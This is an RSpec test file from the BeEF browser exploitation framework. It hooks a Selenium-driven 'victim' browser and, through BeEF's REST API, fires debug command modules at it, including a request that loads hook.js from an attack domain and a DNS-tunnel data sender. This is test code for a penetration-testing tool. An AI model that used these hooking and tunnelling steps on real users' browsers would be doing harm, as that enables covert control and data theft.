Files
beef/spec/beef/modules/debug/test_beef_debugs_spec.rb
2020-05-15 09:03:26 +10:00

315 lines
13 KiB
Ruby

#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'rest-client'
require 'json'
require_relative '../../../support/constants'
require_relative '../../../support/beef_test'
RSpec.describe 'BeEF Debug Command Modules:', :run_on_browserstack => true do
before(:all) do
# Grab config and set creds in variables for ease of access
@config = BeEF::Core::Configuration.instance
@username = @config.get('beef.credentials.user')
@password = @config.get('beef.credentials.passwd')
# Load BeEF extensions and modules
# Always load Extensions, as previous changes to the config from other tests may affect
# whether or not this test passes.
print_info "Loading in BeEF::Extensions"
BeEF::Extensions.load
sleep 2
# Check if modules already loaded. No need to reload.
if @config.get('beef.module').nil?
print_info "Loading in BeEF::Modules"
BeEF::Modules.load
sleep 2
else
print_info "Modules already loaded"
end
# Grab DB file and regenerate if requested
print_info "Loading database"
db_file = @config.get('beef.database.file')
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
File.delete(db_file) if File.exists?(db_file)
end
# Load up DB and migrate if necessary
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database: db_file)
context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
end
sleep 2
BeEF::Core::Migration.instance.update_db!
# Spawn HTTP Server
print_info "Starting HTTP Hook Server"
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare
# Generate a token for the server to respond with
@token = BeEF::Core::Crypto::api_token
# Initiate server start-up
@pids = fork do
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
end
@pid = fork do
http_hook_server.start
end
# Give the server time to start-up
sleep 1
@caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])
@caps["name"] = self.class.description || ENV['name'] || 'no-name'
@caps["browserstack.local"] = true
@caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER']
@driver = Selenium::WebDriver.for(:remote,
:url => "http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub",
:desired_capabilities => @caps)
# Hook new victim
print_info 'Hooking a new victim, waiting a few seconds...'
wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds
@driver.navigate.to "#{VICTIM_URL}"
sleep 3
# Give time for browser hook to occur
sleep 1 until wait.until { @driver.execute_script("return window.beef.session.get_hook_session_id().length") > 0}
begin
@hook_request = RestClient.get "#{RESTAPI_HOOKS}?token=#{@token}"
@hooks = JSON.parse(@hook_request)
if @hooks['hooked-browsers']['online'].empty?
@session = @hooks['hooked-browsers']['online']['0']['session']
else
print_info "Cannot find online session server-side."
print_info "Continuing to grab Session ID from client."
@session = @driver.execute_script("return window.beef.session.get_hook_session_id()")
end
rescue => exception
print_info "Encountered Exception: #{exception}"
print_info "Continuing to grab Session ID from client"
@session = @driver.execute_script("return window.beef.session.get_hook_session_id()")
end
# Grab Command Module IDs as they can differ from machine to machine
@debug_mod_ids = JSON.parse(RestClient.get "#{RESTAPI_MODULES}?token=#{@token}")
@debug_mod_names_ids = {}
@debug_mods = @debug_mod_ids.to_a.select { |cmd_mod| cmd_mod[1]['category'] == 'Debug' }
.map do |debug_mod|
@debug_mod_names_ids[debug_mod[1]['class']] = debug_mod[1]['id']
end
end
after(:all) do
begin
@driver.quit
rescue => exception
if exception.include?('Failed to open TCP connection')
print_info "Encountered possible false negative timeout error checking exception."
expect(exception).to include('hub-cloud.browserstack.com:80')
else
print_info "Error closing BrowserStack connection: #{exception}"
end
ensure
print_info "Shutting down server"
Process.kill("KILL",@pid)
Process.kill("KILL",@pids)
end
end
it 'The Test_beef.debug() command module successfully executes' do
begin
cmd_mod_id = @debug_mod_names_ids['Test_beef_debug']
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}",
{ "msg": "test" }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
rescue => exception
if exception.include?('401 Unauthorized')
print_info "Encountered possible false negative un-auth exception due to a failed hook."
expect(@hook_request.code).to eq (401)
else
print_info "Encountered Exception: #{exception}"
print_info "Issue retrieving hooked browser information - checking instead that client session ID exists"
expect(@session).not_to be_empty
end
end
end
it 'The Return ASCII Characters command module successfully executes' do
begin
cmd_mod_id = @debug_mod_names_ids['Test_return_ascii_chars']
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}",
{ }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
rescue => exception
if exception.include?('401 Unauthorized')
print_info "Encountered possible false negative un-auth exception due to a failed hook."
expect(@hook_request.code).to eq (401)
else
print_info "Encountered Exception: #{exception}"
print_info "Issue retrieving hooked browser information - checking instead that client session ID exists"
expect(@session).not_to be_empty
end
end
end
it 'The Return Image command module successfully executes' do
begin
cmd_mod_id = @debug_mod_names_ids['Test_return_image']
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}",
{ }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
rescue => exception
if exception.include?('401 Unauthorized')
print_info "Encountered possible false negative un-auth exception due to a failed hook."
expect(@hook_request.code).to eq (401)
else
print_info "Encountered Exception: #{exception}"
print_info 'Issue retrieving hooked browser information - checking instead that client session ID exists'
expect(@session).not_to be_empty
end
end
end
it 'The Test HTTP Redirect command module successfully executes' do
begin
cmd_mod_id = @debug_mod_names_ids['Test_http_redirect']
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}",
{ }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
rescue => exception
if exception.include?('401 Unauthorized')
print_info "Encountered possible false negative un-auth exception due to a failed hook."
expect(@hook_request.code).to eq (401)
else
print_info "Encountered Exception: #{exception}"
print_info "Issue retrieving hooked browser information - checking instead that client session ID exists"
expect(@session).not_to be_empty
end
end
end
it 'The Test Returning Results/Long String command module successfully executes' do
begin
cmd_mod_id = @debug_mod_names_ids['Test_return_long_string']
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}",
{ "repeat": 20,
"repeat_string": "beef" }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
rescue => exception
if exception.include?('401 Unauthorized')
print_info "Encountered possible false negative un-auth exception due to a failed hook."
expect(@hook_request.code).to eq (401)
else
print_info "Encountered Exception: #{exception}"
print_info "Issue retrieving hooked browser information - checking instead that client session ID exists"
expect(@session).not_to be_empty
end
end
end
it 'The Test Network Request command module successfully executes' do
begin
cmd_mod_id = @debug_mod_names_ids['Test_network_request']
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}",
{ "scheme": "http",
"method": "GET",
"domain": "#{ATTACK_DOMAIN}",
"port": "#{@config.get('beef.http.port')}",
"path": "/hook.js",
"anchor": "anchor",
"data": "query=testquerydata",
"timeout": "10",
"dataType": "script" }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
rescue => exception
if exception.include?('401 Unauthorized')
print_info "Encountered possible false negative un-auth exception due to a failed hook."
expect(@hook_request.code).to eq (401)
else
print_info "Encountered Exception: #{exception}"
print_info "Issue retrieving hooked browser information - checking instead that client session ID exists"
expect(@session).not_to be_empty
end
end
end
it 'The Test DNS Tunnel command module successfully executes' do
begin
cmd_mod_id = @debug_mod_names_ids['Test_dns_tunnel_client']
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}",
{ "domain": "example.com",
"data": "Lorem ipsum" }.to_json,
:content_type => :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
rescue => exception
if exception.include?('401 Unauthorized')
print_info "Encountered possible false negative un-auth exception due to a failed hook."
expect(@hook_request.code).to eq (401)
else
print_info "Encountered Exception: #{exception}"
print_info "Issue retrieving hooked browser information - checking instead that client session ID exists"
expect(@session).not_to be_empty
end
end
end
it 'The Test CORS Request command module successfully executes' do
begin
cmd_mod_id = @debug_mod_names_ids['Test_cors_request']
response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}",
{ "method": "GET",
"url": "example.com",
"data": {
"test": "data"
}}.to_json,
content_type: :json
result_data = JSON.parse(response.body)
expect(result_data['success']).to eq "true"
rescue => exception
if exception.include?('401 Unauthorized')
print_info "Encountered possible false negative un-auth exception due to a failed hook."
expect(@hook_request.code).to eq (401)
else
print_info "Encountered Exception: #{exception}"
print_info "Issue retrieving hooked browser information - checking instead that client session ID exists"
expect(@session).not_to be_empty
end
end
end
end